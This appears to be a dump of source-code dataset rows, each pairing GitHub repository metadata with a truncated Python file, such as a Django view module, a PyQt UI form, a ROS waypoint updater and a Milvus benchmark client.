ad8bc92067a56e68d2d6a41e02f85a5fc6f954e0 | 1d9a6406c859fda186f520bb4472c551fc572c7b | /src/hopla/cli/groupcmds/hatch.py | e3c85019653f241bbc5b6a5ab861095a0e1e838d | [
"Apache-2.0"
] | permissive | rickie/hopla | af21b794ce6719d402721550e1ee4091790410b6 | 24a422194e42c03d5877dc167b2b07147326a595 | refs/heads/main | 2023-08-13T17:33:03.612293 | 2021-10-12T12:13:25 | 2021-10-12T12:13:25 | 408,538,704 | 0 | 0 | Apache-2.0 | 2021-09-20T17:30:15 | 2021-09-20T17:30:15 | null | UTF-8 | Python | false | false | 873 | py | #!/usr/bin/env python3
"""
The module with CLI code that handles the `hopla hatch` GROUP command.
"""
import sys
from typing import NoReturn
import click
import requests
from hopla.hoplalib.hatchery.hatchcontroller import HatchRequester
@click.group()
def hatch():
"""GROUP for hatching eggs."""
def hatch_egg... | [
"31448155+melvio@users.noreply.github.com"
] | 31448155+melvio@users.noreply.github.com |
cb403497b8afbd364fbe73234f0890db03722801 | 04b1799fca40a9a4fafa3540d0e9abf1e32fcdc5 | /test_files/configs/dummy_dataset_config.py | 7833c62628c083136e6e1ffed4054068865fa46a | [] | no_license | selcouthlyBlue/bi_lstm_ocr | 0afe71e181b2c2a2a930f821c8b8c1c4557a0f22 | 6c3c61380546a896d12c4dd87eb277ad020565b2 | refs/heads/master | 2021-08-14T15:28:49.751921 | 2017-11-16T04:16:34 | 2017-11-16T04:16:34 | 105,123,935 | 3 | 6 | null | null | null | null | UTF-8 | Python | false | false | 233 | py | class DatasetConfig:
def __init__(self):
self.labels_file = "C:/Users/asus.11/Documents/bi_lstm_ocr/test_files/dummy_labels_file.txt"
self.data_dir = "C:/Users/asus.11/Documents/bi_lstm_ocr/test_files/dummy_data/" | [
"jvgonzalvo@up.edu.ph"
] | jvgonzalvo@up.edu.ph |
de6ecc44ca37c28e472b8df0d1377818c08bd1ff | 391eafc9a385fc17f15619ac3eb1c248ff88991c | /src/run.py | f029fd667d05ca639c850699079685470c65a18d | [
"MIT"
] | permissive | greatEncoder/vscode | dc6098174898e546ec2211a3b793c3e5ab9b2e4c | fe66e9dbc79cd64afcb8fccfe058a822dc6d2610 | refs/heads/master | 2021-02-09T00:26:49.349847 | 2020-03-16T22:22:26 | 2020-03-16T22:22:26 | 244,215,240 | 0 | 0 | null | 2020-03-01T20:04:00 | 2020-03-01T20:03:59 | null | UTF-8 | Python | false | false | 8,774 | py | import sys
import ast
import bdb
import json
import re
import core
class LoopInfo:
def __init__(self, frame, lineno, indent):
self.frame = frame
self.lineno = lineno
self.indent = indent
self.iter = 0
class Logger(bdb.Bdb):
def __init__(self, lines):
bdb.Bdb.__init__(se... | [
"lerner@cs.ucsd.edu"
] | lerner@cs.ucsd.edu |
8ca8ffe69257d8c7e79065fd4e815b66d6a14d52 | 353b324a088d32053b165c0ab3e622dfe524a09d | /linked_class.py | d443e0ccc1b8c57d8bebbc603a1881305788c7b5 | [] | no_license | nurlanorazkeldiyev/seminar3 | 0fbb92d5456ab23e3f76825462cad38a652cec4e | dc9945907e3baf50847359c02ca36c5f72b3523f | refs/heads/master | 2020-04-25T00:07:20.552808 | 2019-03-01T11:24:07 | 2019-03-01T11:24:07 | 172,367,796 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 605 | py | from linked_list import Mylist
class Queue:
def __init__(self):
self.my_queue = Mylist()
def length(self):
return self.my_queue.__len__()
def isEmpty(self):
if self.length() == 0:
return True
return False
def dequeue(self):
if not self.isEmpty():
count = 0
for elem in s... | [
"nurlan_o.s@mail.ru"
] | nurlan_o.s@mail.ru |
f3a741df2f360ded2a04b6cb0bc198fd067bfbe5 | 69bc75893c707785e5cec300b3e2f1e2381726ab | /info-treel-steps/dev-files/view-hex.py | 4de8df80abe02e3b6d232ffd224c3f636ca7fd33 | [
"MIT"
] | permissive | pierremolinaro/real-time-kernel-teensy-for-students | 2704116e7bf56047568462df2486744585781d71 | e2b153c30537f2cf394da12a2bd337955c3f1b26 | refs/heads/master | 2023-05-12T21:55:38.595726 | 2023-05-02T15:52:04 | 2023-05-02T15:52:04 | 137,371,482 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,622 | py | #!/usr/bin/python3
# -*- coding: utf-8 -*-
#------------------------------------------------------------------------------
# From: https://github.com/msolters/intel-hex-viewer
#------------------------------------------------------------------------------
import sys
def parse_hex_line( line ):
if len( current_l... | [
"pierre@pcmolinaro.name"
] | pierre@pcmolinaro.name |
5cf1960c834e90ad7fb7225ef4c412aa36982ac7 | 7737714964065404309fbb3c256bb57333bb3954 | /DiSTopStudy/test/default_cfg.py | 9b368ca9df3556a6bb5b0a8c3e1361a12b0f4744 | [] | no_license | pastika/SusyAnalysis | 4d14dc5b364334a018819deaea7fbdc166c7b070 | 6edc5107908e205db47c1b08d3dd9c1c5d32f420 | refs/heads/master | 2020-05-20T05:35:49.581731 | 2015-01-12T15:39:45 | 2015-01-12T15:39:45 | 28,870,414 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,271 | py | import FWCore.ParameterSet.Config as cms
#J..
import commands
import FWCore.Utilities.FileUtils as FileUtils
from FWCore.ParameterSet.VarParsing import VarParsing
process = cms.Process("Analysis")
options = VarParsing ('Analysis')
options.register ('fileList',
'',
VarParsing.mul... | [
"pastika@cern.ch"
] | pastika@cern.ch |
36bc327c7332f51a2ad9a259d48c874153a7cf0b | f27944e59e8c516ba519685f65055d98b1671b21 | /tests/milvus_benchmark/client.py | 4744c108540f163173f574aa93d5675445c30416 | [
"Apache-2.0",
"Zlib",
"BSD-3-Clause",
"LGPL-2.1-only",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"MIT",
"JSON",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | trungtv/milvus | c09239a0fab0cffe035d8fcb363992b670f18dcf | d0d4f4f269325bfd4d8a8d1621ee6a67dbe263a6 | refs/heads/master | 2020-09-01T07:21:03.061054 | 2019-10-30T05:39:45 | 2019-10-30T05:39:45 | 218,906,834 | 1 | 1 | Apache-2.0 | 2019-11-01T03:29:21 | 2019-11-01T03:29:20 | null | UTF-8 | Python | false | false | 7,743 | py | import pdb
import random
import logging
import json
import sys
import time, datetime
from multiprocessing import Process
from milvus import Milvus, IndexType, MetricType
logger = logging.getLogger("milvus_benchmark.client")
SERVER_HOST_DEFAULT = "127.0.0.1"
SERVER_PORT_DEFAULT = 19530
def time_wrapper(func):
""... | [
"hai.jin@zilliz.com"
] | hai.jin@zilliz.com |
6af9434c46be76fce9d56f3ea60f2fca581ad793 | bc0dd74217258c8bdd30e6095dfd7a3edca2dd09 | /assignments/CarND-Vehicle-Detection-P5/f2f.py | c7ddcf21d773d672880881636ee6f76213c48ccd | [] | no_license | akamlani/selfdrivingcar | d645872f4129fcd4c68c3d4967fdd9c784086cc8 | eadd43b4c6d60c71e283b7c43cba61030377eb47 | refs/heads/master | 2020-06-12T10:19:55.748107 | 2017-05-02T18:44:52 | 2017-05-02T18:44:52 | 75,585,494 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,461 | py | import numpy as np
import cv2
from scipy.ndimage.measurements import label
import viz_utils as viz
class Vehicle(object):
def __init__(self):
self.detected = False # was vehicle detected in last iteration
self.n_detections = 0 # number of times this vehicle has been seen
... | [
"akamlani@gmail.com"
] | akamlani@gmail.com |
76c75743262d244fb0c331f24bf18c1f4b75d7cc | 50c1f7e4a3084ecd0ef72c9b20f8ea218cebe14c | /home/views.py | 3507d6e56d7fcbb516f8c88bcbc6ecadfdad1a86 | [] | no_license | rahulshivan05/Coder | 922240a494207d0fcf1a553d1749eb7c09c6425b | 79340971c4c1ac3123e5a65fc9fb423f87eac972 | refs/heads/main | 2023-02-17T13:50:51.491016 | 2021-01-13T15:55:22 | 2021-01-13T15:55:22 | 329,347,947 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,752 | py | from django.core import checks
from django.shortcuts import render, redirect, get_object_or_404
from django.http import HttpResponse, HttpResponseNotFound, Http404
from django.core.exceptions import PermissionDenied
# from django.contrib.postgres.operations import UnaccentExtension
from django.db.models import * # F, L... | [
"rahulshivan05@gmail.com"
] | rahulshivan05@gmail.com |
5b91c207f77e5910ac31b71ac9a0edf50cc7a5c1 | 5201e9f33a961cbfcc7b3fc5efc9bf9e57298b7b | /UIelems.py | 3ccd01343cc037be781546cf339be2d7f99b32e4 | [] | no_license | EveryoneHATEme/simple-photo-editor | 1f7ada2138ef8e665e7753cbb4b188e5e00a8084 | 57d55d800cb83218788a1e82bb0112abeee6aabf | refs/heads/master | 2020-09-08T05:10:15.412928 | 2019-11-11T16:40:18 | 2019-11-11T16:40:18 | 221,024,792 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 19,644 | py | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'untitled.ui'
#
# Created by: PyQt5 UI code generator 5.13.0
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
from draw import FilterHandler, BlurHandler, default_image
class... | [
"noreply@github.com"
] | EveryoneHATEme.noreply@github.com |
6b49c63ef32c5f55e7862680cebf93ec06f086c9 | 00a381ceb3526e69f3bdef3fe4639e7471d52431 | /CarND-Capstone/ros/src/waypoint_updater/waypoint_updater.py | e7a2e3f37fe1b19fcabd4cc77568d1a9bbc35f72 | [
"MIT"
] | permissive | mskarthik/CarND-Capstone | 1704fd997cd1b52462103d5e6bac1a0061d8f9fb | db6f2711d367eac5289e02c50891403d3b00bb6f | refs/heads/master | 2022-12-06T02:26:39.931001 | 2019-10-31T01:37:10 | 2019-10-31T01:37:10 | 217,895,385 | 0 | 0 | MIT | 2022-11-22T00:23:32 | 2019-10-27T18:07:11 | Makefile | UTF-8 | Python | false | false | 5,734 | py | #!/usr/bin/env python
import numpy as np
import rospy
from geometry_msgs.msg import PoseStamped
from styx_msgs.msg import Lane, Waypoint
from std_msgs.msg import Int32
from scipy.spatial import KDTree
import math
'''
This node will publish waypoints from the car's current position to some `x` distance ahead.
As men... | [
"mskarthik@gmail.com"
] | mskarthik@gmail.com |
c53cdeb4d119d5301a3ddabfc5f7a46417bf5ff6 | 8a79b77ab6acfc97b58ae9f987629e8ee00038c8 | /setup.py | 27ade12065d3cf1a86989380f5d11f6ea39a73cf | [] | no_license | Konrad-git-code/Aspp2021-exercises-day4 | d38d394561bc08c08b39e7edeca5997409bf0fbf | 446022871d0cbd75a17b2853c4b19670bd4a2378 | refs/heads/main | 2023-03-08T01:09:04.482587 | 2021-02-20T21:32:34 | 2021-02-20T21:32:34 | 340,119,050 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 120 | py | from distutils.core import setup
from Cython.Build import cythonize
setup(
ext_modules = cythonize("cy_primes.pyx")
)
| [
"noreply@github.com"
] | Konrad-git-code.noreply@github.com |
5d95667ea4bdc4bfe5a1025aefdf96ae56266dde | 2bf29863d6030b75136b7d0bfc76ee78cb3125c5 | /vfplot.py | f06402c4db48c4386ddc3eb5a7208196da620862 | [] | no_license | michellekli/visitor-forecasting | 28ec72397e094af1888c9c2f7ffd82f988b21160 | da33a0b0332b643faa8e37c984f008a64eb73c35 | refs/heads/master | 2020-07-02T13:12:52.847545 | 2019-08-15T20:29:45 | 2019-08-15T20:29:45 | 201,531,344 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,907 | py | import numpy as np
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
import seaborn as sns
import statsmodels.api as sm
import calendar
from pandas.plotting import register_matplotlib_converters
register_matplotlib_converters()
from statsmodels.graphics.tsaplots import plot_acf, plot_pacf
import v... | [
"michelle.li.862@gmail.com"
] | michelle.li.862@gmail.com |
8b233babbcc3f3efc6de6e4720599c590b22e2d3 | 71fdffc6f4ed975d042073691960e554a2b76be0 | /Opening an Image.py | 7b32c5f0f0308fd5ddff5ce2bf21fd032d29acf4 | [] | no_license | BhavyaShah1234/MyWholeImageProcessingFolder | 1abe4f1f35625daf5b0e532c4e285267cf90719e | fa8af03537c576c1c3661eb57a7346ab0db24f56 | refs/heads/main | 2023-04-05T00:25:24.932163 | 2021-04-08T07:04:04 | 2021-04-08T07:04:04 | 355,788,297 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 363 | py | import cv2
# Load/Read image
img1 = cv2.imread('lena.png', 0)
img2 = cv2.imread('lena.png', 1)
img3 = cv2.imread('lena.png', -1)
# Show Image
cv2.imshow('Output1', img1)
cv2.imshow('Output2', img2)
cv2.imshow('Output3', img3)
# Retain/Delay Image
cv2.waitKey(0)
# On clicking close on image window the progr... | [
"noreply@github.com"
] | BhavyaShah1234.noreply@github.com |
bcb6aaa7bfdf74309d4b17ba49c96fce029d923f | 5e965b37305c3f55583e80aab937f7c7c603198d | /lessons/lesson6.py | 3757612c1db7df13d486ee4e68473343d4e72cbe | [] | no_license | izlatkin/CourseraTask | aaddfc744b2ad5bc70a862962a97700e809d84dc | 3f7015d88d433d2596ec8e94f79ae4bea3d475c1 | refs/heads/master | 2020-05-20T06:06:02.260764 | 2016-09-14T21:51:04 | 2016-09-14T21:51:04 | 68,225,567 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 996 | py | __author__ = 'ilya'
class Animal:
# def __init__(self, name = 'No Name'):
# self._name = name
def __init__(self, **kwargs):
self._attributes = kwargs
def set_attributes(self, key, value):
self._attributes[key] = value
def get_attributes(self, key):
return self._attr... | [
"zlatkin_ilya@mail.ru"
] | zlatkin_ilya@mail.ru |
27780a5a5eeb3156d1fc17cd2c89f81ea03c6187 | cf2592c342869e9b027794ff985726e53d90e171 | /DFS.py | bac15cb2c4504a3b44c480e762dea082bc42a638 | [] | no_license | Utsabab/Data-Structures- | bb37e9dec89d64e18b2cec52c5bc93265f86093b | d58bdc0db99e9cd71fc99cb1586093c84a25b973 | refs/heads/master | 2021-01-22T04:01:18.522277 | 2017-02-17T19:48:58 | 2017-02-17T19:48:58 | 81,491,695 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 339 | py | G = {}
G["A"] = ["B", "C"]
G["B"] = ["C", "D", "E"]
G["C"] = ["D"]
G["D"] = []
G["E"] = []
#DFS:
def printing(root):
stack = []
stack += root
searched = []
while stack:
person = stack.pop()
print(person)
for i in G[person]:
if i not in searched:
stack.append(i)
searched.appe... | [
"utsab.khakurel@bison.howard.edu"
] | utsab.khakurel@bison.howard.edu |
dfa39f1519de44a9bc2e2795a2c624fa07e64ccb | c1bdce1c720394a02f4dbd582c4e5bf3d26d234b | /ScoreManagement/ScoreManager.py | 3fdc895a0a2d596413d19ac948c2e93df230415f | [] | no_license | TuanMinh-Vu/LambdaFunctions-Database | 4eaaaa2c226d17901f26567ad7c2d3377e60e355 | df4818924f5d23cbc36ccea6a989fdf667a2bd7f | refs/heads/master | 2022-07-23T19:31:02.718322 | 2020-04-19T10:24:30 | 2020-04-19T10:24:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,187 | py | import json
import boto3
def lambda_handler(event, context):
dynamodb = boto3.resource('dynamodb')
scoreTable = dynamodb.Table("Score")
if event['httpMethod'] == 'GET':
if 'queryStringParameters' in event:
params = event['queryStringParameters']
if 'GameName' in params... | [
"vuminh99hp@gmail.com"
] | vuminh99hp@gmail.com |
9ebc206e34a9a97f3a229550659068e38d3d3a59 | 77e3ec4741a32a9784e3fd9ac9210694a572f497 | /tests/test_extract.py | 110ebc8c60e0f1314beb97c6f9f547fcc5af5d79 | [
"Apache-2.0"
] | permissive | mrunesson/stockrec | c1b37f54f1070c358c417d2264927d171ec9a38a | 603bd471446f445ceeeaf8ed4de8f45478c0a22d | refs/heads/master | 2023-04-09T07:27:32.749529 | 2023-03-20T15:53:29 | 2023-03-21T15:04:15 | 271,747,267 | 1 | 1 | Apache-2.0 | 2021-01-04T15:14:13 | 2020-06-12T08:23:28 | Python | UTF-8 | Python | false | false | 10,020 | py | import datetime
import unittest
from decimal import Decimal
from stockrec.extract import extract_forecast
from stockrec.model import Forecast, Direction, Signal
class TestSimpleExtractor(unittest.TestCase):
test_data = [
('Carnegie sänker Thule till behåll (köp), riktkurs 220 kronor.',
Forecast... | [
"M.Runesson@gmail.com"
] | M.Runesson@gmail.com |
e66b10771ba670c27a4b675fb88874a56e811e81 | 0693fe0e5fbcc6ef775529a28ca891c8ad906a58 | /pdb/pdb_composite.py | 3f4875bdd7d2b9bab890b2df2a3e77b5dbbaa10c | [
"MIT"
] | permissive | shellydeforte/PDB | 81cd4b8b9d3141cab2645b564e74a67bd6f2e7e8 | 287350c0049a10cee10654d093a1d06128f9d7aa | refs/heads/master | 2021-01-10T03:48:20.769031 | 2015-12-15T15:00:04 | 2015-12-15T15:00:04 | 47,725,527 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,952 | py | # -*- coding: utf-8 -*-
from __future__ import (
absolute_import, division, print_function, unicode_literals)
import pandas as pd
from io import open
from Bio import SeqIO
from pdb.lib.data_paths import build_abs_path
from pdb.lib.progress_bar import ProgressBar
def create_pdb_composite(df, ss_dis, uni_folder):
... | [
"mwelcks@gmail.com"
] | mwelcks@gmail.com |
6a70f2cc95e497009551b3295f2cf8429c1bcad3 | 1173175cd324cfaa4dd6db9230adc939f4dd88e6 | /09_button.py | 28f0c8a4de9ee2df8410272954ada0217e095be3 | [] | no_license | kmoad/gtk3-tutorial | de59efc6191e5b214423be986539825955dd0139 | 98fbd07fd777d7c0244b64668891eab8d4131fa3 | refs/heads/main | 2023-05-13T11:18:02.324495 | 2021-05-29T01:19:52 | 2021-05-29T01:19:52 | 369,915,134 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,122 | py | import gi
gi.require_version('Gtk', '3.0')
from gi.repository import Gtk
class ButtonWindow(Gtk.Window):
def __init__(self):
Gtk.Window.__init__(self, title='Button Demo')
self.set_border_width(10)
hbox = Gtk.Box(spacing=6)
self.add(hbox)
button = Gtk.Button.new_with_labe... | [
"kyle.moad@gmail.com"
] | kyle.moad@gmail.com |
19c2fc6ce6c8cc922ca844bf9f171416384b75a9 | 66596c9d2e97ef2997ca587ee2924210360e6730 | /deeplearnig/redneuronal/probando.py | 4d4bbd6c277be84ae26fa3ea13cc21eabf3ee97e | [] | no_license | rmsg23/android | ec9eb17c0996bd5c1a9eb111ea9ab774aeaaecdf | a4e90e1a21856f2ccd1218a0dbd1c279885e15d5 | refs/heads/master | 2021-01-09T20:38:24.390383 | 2016-06-09T19:22:40 | 2016-06-09T19:22:40 | 60,798,621 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,132 | py | entrada X[i]: 64 datos (matrix de 8*8)
a= [ 0.0 , -0.33501649,-1.09493684, -0.66762355, 0.26875116, 0.7446178 ,
-0.10895844, -0.12502292,-0.05907756, -0.62400926, -0.25504011, 0.00517797,
-1.31330167, 1.12772113, 0.87958306, -0.13043338, -0.04462507, -0.72764628,
1.07165259, -0.51590096,-1.14964846, 0.676... | [
"rmsg23@gmail.com"
] | rmsg23@gmail.com |
182ca5a1b657ff23de907689d948cd50219592c2 | 7dbd0bcc1a19fc9317102096c4e6848d8d343f43 | /PipelineClusterNew/CrossValidationII.py | c3eefc8be5f8ac6a25f21a19c5a0f5984c80fddf | [] | no_license | ruit/BayesTeller | 4f23ce58e23e5e3f647406db003946d4e8f98756 | e37a87a35ff10369aaeb3e200320734e41bfd762 | refs/heads/master | 2020-04-06T04:22:14.136804 | 2015-08-24T10:28:11 | 2015-08-24T10:28:11 | 22,233,799 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,270 | py | #!/usr/bin/python
# Tian R. <tianremiATgmail.com>
# Nov 4, 2014
# Nov 5, 2014
# Dec 12, 2014
# Randomly mask some patients as test data
import random, math
import sys, re
infile1 = sys.argv[1]
infile2 = sys.argv[2]
totalPatListFile = sys.argv[3]
tempdir = sys.argv[4]
# Sep 19, 2014
# Tian R. compare SNVs freq in n... | [
"tianremi@gmail.com"
] | tianremi@gmail.com |
b1773069faef715be3286dd77a956aa6b95ec95a | 5388cb15c4d3721109935971b5e54c3ea209dbee | /setup.py | e147c81218d98aed25d663906e73507024bd23bb | [] | no_license | Nubbify/KeepingTrack | 098eb841677d3d9c2447e3fff5db1b66a8efa69b | 3de33f6a3d981ba213d561b99f59efe0afd15466 | refs/heads/master | 2021-08-04T15:20:39.356304 | 2019-12-09T05:18:41 | 2019-12-09T05:18:41 | 235,156,152 | 0 | 0 | null | 2021-01-05T19:41:41 | 2020-01-20T17:20:22 | JavaScript | UTF-8 | Python | false | false | 515 | py | from setuptools import find_packages
from setuptools import setup
setup(
name="keepingtrack",
version="0.0.1",
maintainer="Oscar Bautista",
maintainer_email="oscar.v.bautista@gmail.com",
description="A todo list app focusing on nested notes and attachments",
packages=find_packages(),
includ... | [
"Oscar.V.Bautista@gmail.com"
] | Oscar.V.Bautista@gmail.com |
3cb7b6f1f80cfbb30c21ea153e6a637bbc1effc9 | dd2382f4ee45ea6a5690662e369d6ff96d6c150d | /accounts/urls.py | 5cf8535b130889d650c76e5bd80f8be4127c9080 | [] | no_license | samathaluca/authorisation-lessons | 89693c45274037f380e749ec0ce254eba2d97f0e | 69d10681ade6a8c9c4a7187823c4dca3df3761b4 | refs/heads/master | 2021-05-22T16:11:14.847750 | 2020-04-25T23:13:47 | 2020-04-25T23:13:47 | 252,997,425 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 385 | py | from django.conf.urls import url, include
from accounts.views import logout, login, register
from accounts import url_reset
urlpatterns = [
url(r'^logout/', logout, name="logout"),
url(r'^login/', login, name="login"),
url(r'^register/', register, name="register"),
# url(r'^profile/', user_profile, nam... | [
"samanthaluca@aol.com"
] | samanthaluca@aol.com |
268b03511df9b1daf0eee6d6ed67b1c79a9b4a19 | f6ebe0c6bc6a044e84875a46e3086ae7cf9f6168 | /domoWebConfigParser.py | 9a6ca5ee02aac0b8e97c548c4696c885c649821a | [] | no_license | Manu-31/domoweb | 6adc7d088fa94d08fe013f3d8d0c212f37ffd814 | 7192039e39b01f6ef1729c409a3934e235bc7cb5 | refs/heads/master | 2021-01-19T11:42:18.368771 | 2018-11-17T16:41:14 | 2018-11-17T16:41:14 | 61,647,468 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,009 | py | # -*- coding: utf-8 -*-
#=============================================================
# A configuraion tool for domoWeb based on python ConfigParser
#=============================================================
import ConfigParser
config = ConfigParser.ConfigParser()
config.optionxform = str
#----------------------... | [
"manu@manu-chaput.net"
] | manu@manu-chaput.net |
f725442ebab9d20319de0cae94b13354fa60e6a9 | f844fe4eb921da07dd6e93856c27af84752a4ec9 | /tools/pred_prey_experiment_file.py | cc75a2d7b487d69fe6220fc5b6b15b31566d73b9 | [
"MIT"
] | permissive | jcbpyle/FLAMEGPU | 3ef16edd04bb40914db96665c8415c07d51ac6d7 | c472982da0b7d20a61f12c64e6dcf8b1953ef434 | refs/heads/master | 2020-05-20T06:04:25.265348 | 2019-06-04T16:23:52 | 2019-06-04T16:23:52 | 185,419,573 | 0 | 0 | null | 2019-05-07T14:33:32 | 2019-05-07T14:33:32 | null | UTF-8 | Python | false | false | 19,385 | py | # -*- coding: utf-8 -*-
"""
Created on Mon Mar 25 11:53:16 2019
@author: James
"""
# -*- coding: utf-8 -*-
"""
Created on Thu Mar 7 12:49:41 2019
@author: James
"""
from smse_experiment_functions import simulation_ga, batch_simulation, train_regression_surrogate_model, train_classifier_surrogate, surrogate_ga, surro... | [
"jcbpyle1@sheffield.ac.uk"
] | jcbpyle1@sheffield.ac.uk |
332fdc6a4f568c0b678f79ad6d5b540a4e84634e | a4751b8404a64ad537d82af34d1cd02cdb1c459c | /furkhan.py | 5cd208f2e360db880b080a78ddedd37e56688d7a | [] | no_license | adiatgit/leetcode | 37499e7e85ec9ccd4447c14c92384ad3afc6abe0 | 36682b28ee37a4360951c162570fbcca5a215e07 | refs/heads/main | 2020-12-09T10:20:30.536707 | 2020-10-06T05:09:57 | 2020-10-06T05:09:57 | 233,274,863 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 187 | py | def checkSum(givenList,S):
sum = 0
for i in givenList:
sum=sum+i
if sum == S:
return True
return False
def getCombinations(n,k):
for i in range(k+1):
| [
"sawwalakhea@gmail.com"
] | sawwalakhea@gmail.com |
a23d7d31cbfc3aa13e3386a439560ab81cd7ee62 | 67084751337f327092049a61b6d8c630cd3767de | /genderðnicity/genderðnicity.py | a445edda0389876fea99e843f3c5e2a9369470eb | [
"MIT"
] | permissive | habereet/awesomeScripts | 0f0a33d9a35de8b4449c1263db4407beaf0178fa | 2d77f3619314aa7840fed57e0cf451fe5c1a70a9 | refs/heads/master | 2023-01-05T01:29:30.063154 | 2020-10-31T00:36:16 | 2020-10-31T00:36:16 | 303,189,908 | 0 | 0 | MIT | 2020-10-11T18:48:07 | 2020-10-11T18:48:06 | null | UTF-8 | Python | false | false | 367 | py | import requests
def main(url):
data = requests.get(url).json()
return data
def print_data(url):
data = main(url)
for key, value in data.items():
print(f"{key} : {value}")
if __name__ == "__main__":
full_name = input("Please Enter your full name :")
url = f"https://api.diversitydata... | [
"noreply@github.com"
] | habereet.noreply@github.com |
a023a90d0524987f2323283b3ec3458123ea34d6 | 89c682cc1758faa10bceea7280d716a18096e112 | /filterCol.py | 30f58eef6c7bf22035b97f0cbdcab133abbf3914 | [] | no_license | kidlin/tools | be8a3753f08c62e0fbc3caf329035bde34e4b547 | 5a384198ae8178bbf64b76e9f69a5ac2275b71bf | refs/heads/master | 2020-09-22T00:25:29.721749 | 2020-01-12T05:25:22 | 2020-01-12T05:25:22 | 224,986,077 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,496 | py | #!/usr/bin/python
# Software License Agreement (BSD License)
#
# Copyright (c) 2013, Juergen Sturm, TUM
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must... | [
"lintp@zju.edu.cn"
] | lintp@zju.edu.cn |
55cda4355fc80172efff1fa6ae695a9b6a2d1a81 | f7411485d2603aa8c2841f88bf5bfb2e1930951e | /FinalProject/FinalProject/test_gamestate.py | bfbc777db516c00a29ede1736212e0ac86c79762 | [] | no_license | Johnspeanut/Computer_science_fundation_course | 156e03e8cf6fcca4ddcbfaa837b8c55f95083045 | 79a13f3152c7e61d8d6cc10da2213a15c8a364e5 | refs/heads/master | 2023-05-13T01:55:10.171165 | 2021-05-31T07:00:31 | 2021-05-31T07:00:31 | 372,412,223 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 934 | py | from gamestate import GameState
def test_init():
piece_board = GameState()
assert(piece_board.selected == None)
assert(piece_board.turn == "black")
def test_create_pieces():
piece_board = GameState()
assert(len(piece_board.pieces) == 8)
assert(len(piece_board.pieces[0]) == 8)
assert(piec... | [
"pengqiong2015fall@hotmail.com"
] | pengqiong2015fall@hotmail.com |
555ab84accb35fdd7a4be6c3279a0dfd0fda301b | 71acb7214efd91c0d327f6d8958e1798eadb4401 | /locations/spiders/lidl_be.py | 82d333e830b64a9538b85a87b7b5987b418fa8c1 | [
"CC0-1.0",
"MIT"
] | permissive | alltheplaces/alltheplaces | 21b9f8b4ace1352e52ae7b8f8825a930d2cb033e | 1bcbb55cfcf06f2c714465570711f6e83f205c22 | refs/heads/master | 2023-08-30T19:45:35.098658 | 2023-08-30T17:51:54 | 2023-08-30T17:51:54 | 61,166,935 | 453 | 176 | NOASSERTION | 2023-09-14T17:16:40 | 2016-06-15T01:09:18 | Python | UTF-8 | Python | false | false | 1,410 | py | import re
from locations.hours import DAYS_FR, OpeningHours, day_range, sanitise_day
from locations.spiders.lidl_gb import LidlGBSpider
from locations.storefinders.virtualearth import VirtualEarthSpider
class LidlBESpider(VirtualEarthSpider):
name = "lidl_be"
item_attributes = LidlGBSpider.item_attributes
... | [
"noreply@github.com"
] | alltheplaces.noreply@github.com |
36d47cb2d7b2e38504ce9d4283769b55041d8980 | 3f4219ad9dd3462967a3924b6f491db20581b0a2 | /Sentdex-Tutorials/test.py | 94e0c6a771b9f02397e7bd86f8f22bbd83b3e66b | [] | no_license | rezakrimi/Machine-Learning | d81dc741ef9755d62079b58792f01055c50d3dbb | 8c7ad77996d6ba9ac18c6e9913fbe05e0cab7895 | refs/heads/master | 2021-05-14T18:16:53.764565 | 2018-05-08T01:50:33 | 2018-05-08T04:42:06 | 116,067,239 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 489 | py | import pandas as pd
import numpy as np
# df = pd.DataFrame(np.arange(12).reshape(3,4),
# columns=['A', 'B', 'C', 'D'])
#
# print (df.drop([1], 0))
#
# a= [1, 2, 3, 4, 5]
#
# print (a[-3:])
a = np.array([[1,2,3],[1,1,1]])
b = np.array([[1,2],[1,2],[1,2]])
print(np.dot(a, b))
print('completing ')
... | [
"reza@Rezas-MacBook-Pro.local"
] | reza@Rezas-MacBook-Pro.local |
cbc7fcc8575360d730c1b24ee4619b0094ce1e49 | dacb0592ae5140f38c11de700685d21eb170a794 | /facture/Client.py | 3a9e1048440e97abbf9f18ad7c922f874883bb21 | [] | no_license | carlosegomez/factureProject | 605f27c78b21698d19675079f9aaadecf3579925 | bfe3254182026f33f986c461c44104bce3f331e0 | refs/heads/master | 2021-07-25T07:12:58.157216 | 2020-04-16T13:44:02 | 2020-04-16T13:44:02 | 149,171,293 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 126 | py | from dataclasses import dataclass
@dataclass
class Client:
name: str
last_name: str
phone: str
address: str
| [
"carlos.gomez-cardenas@ansys.com"
] | carlos.gomez-cardenas@ansys.com |
